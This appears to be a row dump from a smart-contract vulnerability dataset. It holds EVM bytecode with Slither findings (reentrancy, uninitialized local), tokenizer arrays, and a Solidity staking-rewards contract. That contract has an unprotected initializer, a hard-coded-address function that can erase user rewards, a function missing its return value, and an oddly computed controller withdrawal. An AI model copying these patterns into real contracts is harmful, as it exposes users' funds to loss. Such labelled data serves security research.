triggerThreshold), "esm/transfer-failed"); emit Shutdown(); globalSettlement.shutdownSystem(); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638f775839116100715780638f7758391461017957806394f3f81d14610181578063e47a37e3146101a7578063f2380828146101af578063fc0e74d1146101b7578063fe4f5890146101bf576100b4565b8063037b7d79146100b95780631a465fe1146100dd57806324ba5884146100e55780632996f9721461011d57806335b28153146101255780636614f0101461014d575b600080fd5b6100c16101e2565b604080516001600160a01b039092168252519081900360200190f35b6100c16101f1565b61010b600480360360208110156100fb57600080fd5b50356001600160a01b0316610200565b60408051918252519081900360200190f35b6100c1610212565b61014b6004803603602081101561013b57600080fd5b50356001600160a01b0316610221565b005b61014b6004803603604081101561016357600080fd5b50803590602001356001600160a01b03166102d4565b61010b6104a8565b61014b6004803603602081101561019757600080fd5b50356001600160a01b03166104ae565b61010b610560565b6100c1610566565b61014b610575565b61014b600480360360408110156101d557600080fd5b5080359060200135610737565b6002546001600160a01b031681565b6001546001600160a01b031681565b60006020819052908152604090205481565b6004546001600160a01b031681565b33600090815260208190526040902054600114610282576040805162461bcd60e51b815260206004820152601a602482015279195cdb4bd858d8dbdd5b9d0b5b9bdd0b585d5d1a1bdc9a5e995960321b604482015290519081900360640190fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b33600090815260208190526040902054600114610335576040805162461bcd60e51b815260206004820152601a602482015279195cdb4bd858d8dbdd5b9d0b5b9bdd0b585d5d1a1bdc9a5e995960321b604482015290519081900360640190fd5b60065415610380576040805162461bcd60e51b8152602060048201526013602482015272195cdb4bd85b1c9958591e4b5cd95d1d1b1959606a1b604482015290519081900360640190fd5b816e3a343932b9b437b63229b2ba3a32b960891b141561041457600380546001600160a01b0319166001600160a01b0383811691909117918290556040805163792e0adf60e01b81529051929091169163792e0adf9160048082019260009290919082900301818387803b1580156103f757600080fd5b505af115801561040b573d6000803e3d6000fd5b50505050610461565b6040805162461bcd60e51b815260206004820152601d60248201527f65736d2f6d6f646966792d756e7265636f676e697a65642d706172616d000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b60065481565b3360009081526020819052604090205460011461050f576040805162461bcd60e51b815260206004820152601a602482015279195cdb4bd858d8dbdd5b9d0b5b9bdd0b585d5d1a1bdc9a5e995960321b604482015290519081900360640190fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b60055481565b6003546001600160a01b031681565b600654156105c0576040805162461bcd60e51b8152602060048201526013602482015272195cdb4bd85b1c9958591e4b5cd95d1d1b1959606a1b604482015290519081900360640190fd5b6105c8610934565b600160068190555460048054600554604080516323b872dd60e01b815233948101949094526001600160a01b0392831660248501526044840191909152519216916323b872dd916064808201926020929091908290030181600087803b15801561063157600080fd5b505af1158015610645573d6000803e3d6000fd5b505050506040513d602081101561065b57600080fd5b50516106a4576040805162461bcd60e51b8152602060048201526013602482015272195cdb4bdd1c985b9cd9995c8b59985a5b1959606a1b604482015290519081900360640190fd5b6040517f4426aa1fb73e391071491fcfe21a88b5c38a0a0333a1f6e77161470439704cf890600090a1600260009054906101000a90046001600160a01b03166001600160a01b031663354af9196040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561071d57600080fd5b505af1158015610731573d6000803e3d6000fd5b50505050565b60065415610782576040805162461bcd60e51b8152602060048201526013602482015272195cdb4bd85b1c9958591e4b5cd95d1d1b1959606a1b604482015290519081900360640190fd5b600354336000818152602081905260409020546107ae926001600160a01b031690911490600114610a77565b6107fc576040805162461bcd60e51b815260206004820152601a602482015279195cdb4bd858d8dbdd5b9d0b5b9bdd0b585d5d1a1bdc9a5e995960321b604482015290519081900360640190fd5b816f1d1c9a59d9d95c951a1c995cda1bdb1960821b14156104145761089f60008211600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561086c57600080fd5b505afa158015610880573d6000803e3d6000fd5b505050506040513d602081101561089657600080fd5b50518310610a7b565b6108f0576040805162461bcd60e51b815260206004820152601f60248201527f65736d2f7468726573686f6c642d6e6f742d77697468696e2d626f756e647300604482015290519081900360640190fd5b6005819055604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b6003546001600160a01b031615610a7557600360009054906101000a90046001600160a01b03166001600160a01b031663792e0adf6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561099557600080fd5b505af19250505080156109a6575060015b610a75573d8080156109d4576040519150601f19603f3d011682016040523d82523d6000602084013e6109d9565b606091505b507f52511d850e6ebb591225a6c0943e9e657e2f2ad374d64b5708712ad6d62351a5816040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a39578181015183820152602001610a21565b50505050905090810190601f168015610a665780820380516001836020036101000a031916815260200191505b509250505060405180910390a1505b565b1790565b169056fea2646970667358221220de1b06b115d43800201195dff61e85561999d828677f8b87b345a4693a1f837964736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 24594, 27421, 2487, 2546, 8889, 16703, 2692, 2620, 20842, 12521, 2497, 2094, 28154, 14141, 2278, 2620, 23499, 28311, 2063, 2629, 3540, 2278, 18827, 2683, 15136, 1013, 1013, 9385, 1006, 1039, 1007, 2760, 1011, 12609, 9338, 16927, 3930, 9583, 1010, 4297, 1012, 1013, 1013, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1013, 1013, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 21358, 7512, 2080, 2236, 2270, 6105, 2004, 2405, 2011, 1013, 1013, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 2030, 1013, 1013, 1006, 2012, 2115, 5724, 1007, 2151, 2101, 2544, 1012, 1013, 1013, 1013, 1013, 2023, 2565, 2003, 5500, 1999, 1996, 3246, 2008, 2009, 2097, 2022, 6179, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,068
0x962a6588c2cdbedbd81b64c6618a05b336e76bd3
// Dependency file: contracts/libraries/Math.sol // pragma solidity ^0.6.12; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // Dependency file: contracts/libraries/SafeMath.sol // pragma solidity ^0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: contracts/interfaces/IERC20.sol // pragma solidity ^0.6.12; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // Dependency file: contracts/libraries/Address.sol // pragma solidity ^0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [// importANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * // importANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Dependency file: contracts/libraries/SafeERC20.sol // pragma solidity ^0.6.12; // import "contracts/interfaces/IERC20.sol"; // import "contracts/libraries/SafeMath.sol"; // import "contracts/libraries/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Dependency file: contracts/interfaces/IWSERC20.sol // pragma solidity ^0.6.12; interface IWSERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // Dependency file: contracts/interfaces/IStakingRewards.sol // pragma solidity ^0.6.12; interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } // Dependency file: contracts/ReentrancyGuard.sol // pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // Root file: contracts/staking/StakingRewardsV2.sol pragma solidity ^0.6.12; // import 'contracts/libraries/Math.sol'; // import 'contracts/libraries/SafeMath.sol'; // import "contracts/libraries/SafeERC20.sol"; // import 'contracts/interfaces/IERC20.sol'; // import 'contracts/interfaces/IWSERC20.sol'; // import 'contracts/interfaces/IStakingRewards.sol'; // import 'contracts/ReentrancyGuard.sol'; contract StakingRewardsV2 is ReentrancyGuard, IStakingRewards { using SafeMath for uint256; using SafeERC20 for IERC20; bool public initialized; IERC20 public rewardsToken; IERC20 public stakingToken; address public rewardsDistributor; address public externalController; struct RewardEpoch { uint id; uint totalSupply; uint startEpoch; uint finishEpoch; uint rewardRate; uint lastUpdateTime; uint rewardPerTokenStored; } // epoch mapping(uint => RewardEpoch) public epochData; mapping(uint => mapping(address => uint)) public userRewardPerTokenPaid; mapping(uint => mapping(address => uint)) public rewards; mapping(uint => mapping(address => uint)) private _balances; mapping(address => uint) public lastAccountEpoch; uint public currentEpochId; function initialize( address _externalController, address _rewardsDistributor, address _rewardsToken, address _stakingToken ) external { require(initialized == false, "Contract already initialized."); rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistributor = _rewardsDistributor; externalController = _externalController; initialized = true; } function fixPool(bool cleanRewards, address[] memory accounts) public { require(msg.sender == address(0x95Db09ff2644eca19cB4b99318483254BFD52dAe), "Not allowed"); if (cleanRewards){ for(uint i = 0; i < accounts.length; i++) { delete rewards[currentEpochId][accounts[i]]; } epochData[currentEpochId].rewardPerTokenStored = 0; } initialized = true; } function _totalSupply(uint epoch) internal view returns (uint) { return epochData[epoch].totalSupply; } function _balanceOf(uint epoch, address account) public view returns (uint) { return _balances[epoch][account]; } function _lastTimeRewardApplicable(uint epoch) internal view returns (uint) { if (epoch == 0 || block.timestamp < epochData[epoch].startEpoch) { return 0; } return Math.min(block.timestamp, epochData[epoch].finishEpoch); } function totalSupply() external override view returns (uint) { return _totalSupply(currentEpochId); } function balanceOf(address account) external override view returns (uint) { return _balanceOf(currentEpochId, account); } function lastTimeRewardApplicable() public override view returns (uint) { return _lastTimeRewardApplicable(currentEpochId); } function _rewardPerToken(uint _epoch) internal view returns (uint) { RewardEpoch memory epoch = epochData[_epoch]; if (_epoch == 0 || block.timestamp < epoch.startEpoch) { return 0; } if (epoch.totalSupply == 0) { return epoch.rewardPerTokenStored; } return epoch.rewardPerTokenStored.add( _lastTimeRewardApplicable(_epoch).sub(epoch.lastUpdateTime).mul(epoch.rewardRate).mul(1e18).div(epoch.totalSupply) ); } function rewardPerToken() public override view returns (uint) { _rewardPerToken(currentEpochId); } function _earned(uint _epoch, address account) internal view returns (uint256) { return _balances[_epoch][account].mul(_rewardPerToken(_epoch).sub(userRewardPerTokenPaid[_epoch][account])).div(1e18).add(rewards[_epoch][account]); } function earned(address account) public override view returns (uint256) { return _earned(currentEpochId, account); } function getRewardForDuration() external override view returns (uint256) { RewardEpoch memory epoch = epochData[currentEpochId]; return epoch.rewardRate.mul(epoch.finishEpoch - epoch.startEpoch); } function _stake(uint amount, bool withDepositTransfer) internal { require(amount > 0, "Cannot stake 0"); require(lastAccountEpoch[msg.sender] == currentEpochId || lastAccountEpoch[msg.sender] == 0, "Account should update epoch to stake."); epochData[currentEpochId].totalSupply = epochData[currentEpochId].totalSupply.add(amount); _balances[currentEpochId][msg.sender] = _balances[currentEpochId][msg.sender].add(amount); if(withDepositTransfer) { stakingToken.safeTransferFrom(msg.sender, address(this), amount); } lastAccountEpoch[msg.sender] = currentEpochId; emit Staked(msg.sender, amount, currentEpochId); } function stake(uint256 amount) nonReentrant updateReward(msg.sender) override external { _stake(amount, true); } function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) { // permit IWSERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s); _stake(amount, true); } function withdraw(uint256 amount) override public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); uint lastEpoch = lastAccountEpoch[msg.sender]; epochData[lastEpoch].totalSupply = epochData[lastEpoch].totalSupply.sub(amount); _balances[lastEpoch][msg.sender] = _balances[lastEpoch][msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount, lastEpoch); } function getReward() override public nonReentrant updateReward(msg.sender) { uint lastEpoch = lastAccountEpoch[msg.sender]; uint reward = rewards[lastEpoch][msg.sender]; if (reward > 0) { rewards[lastEpoch][msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() override external { withdraw(_balances[lastAccountEpoch[msg.sender]][msg.sender]); getReward(); } function updateStakingEpoch() public { uint lastEpochId = lastAccountEpoch[msg.sender]; _updateRewardForEpoch(msg.sender, lastEpochId); // Remove record about staking on last account epoch uint stakedAmount = _balances[lastEpochId][msg.sender]; _balances[lastEpochId][msg.sender] = 0; epochData[lastEpochId].totalSupply = epochData[lastEpochId].totalSupply.sub(stakedAmount); // Move collected rewards from last epoch to the current rewards[currentEpochId][msg.sender] = rewards[lastEpochId][msg.sender]; rewards[lastEpochId][msg.sender] = 0; // Restake lastAccountEpoch[msg.sender] = currentEpochId; _stake(stakedAmount, false); } function _updateRewardForEpoch(address account, uint epoch) internal { epochData[epoch].rewardPerTokenStored = _rewardPerToken(epoch); epochData[epoch].lastUpdateTime = _lastTimeRewardApplicable(epoch); if (account != address(0)) { rewards[epoch][account] = _earned(epoch, account); userRewardPerTokenPaid[epoch][account] = epochData[epoch].rewardPerTokenStored; } } modifier updateReward(address account) { uint lastEpoch = lastAccountEpoch[account]; if(account == address(0)) { lastEpoch = currentEpochId; } _updateRewardForEpoch(account, lastEpoch); _; } function notifyRewardAmount(uint reward, uint startEpoch, uint finishEpoch) nonReentrant external { require(msg.sender == rewardsDistributor, "Only reward distribured allowed."); require(startEpoch >= block.timestamp, "Provided start date too late."); require(finishEpoch > startEpoch, "Wrong end date epoch."); require(reward > 0, "Wrong reward amount"); uint rewardsDuration = finishEpoch - startEpoch; RewardEpoch memory newEpoch; // Initialize new epoch currentEpochId++; newEpoch.id = currentEpochId; newEpoch.startEpoch = startEpoch; newEpoch.finishEpoch = finishEpoch; newEpoch.rewardRate = reward.div(rewardsDuration); // last update time will be right when epoch starts newEpoch.lastUpdateTime = startEpoch; epochData[newEpoch.id] = newEpoch; emit EpochAdded(newEpoch.id, startEpoch, finishEpoch, reward); } function externalWithdraw() external { require(msg.sender == externalController, "Only external controller allowed."); rewardsToken.transfer(msg.sender, rewardsToken.balanceOf(msg.sender)); } event EpochAdded(uint epochId, uint startEpoch, uint finishEpoch, uint256 reward); event Staked(address indexed user, uint amount, uint epoch); event Withdrawn(address indexed user, uint amount, uint epoch); event RewardPaid(address indexed user, uint reward); }
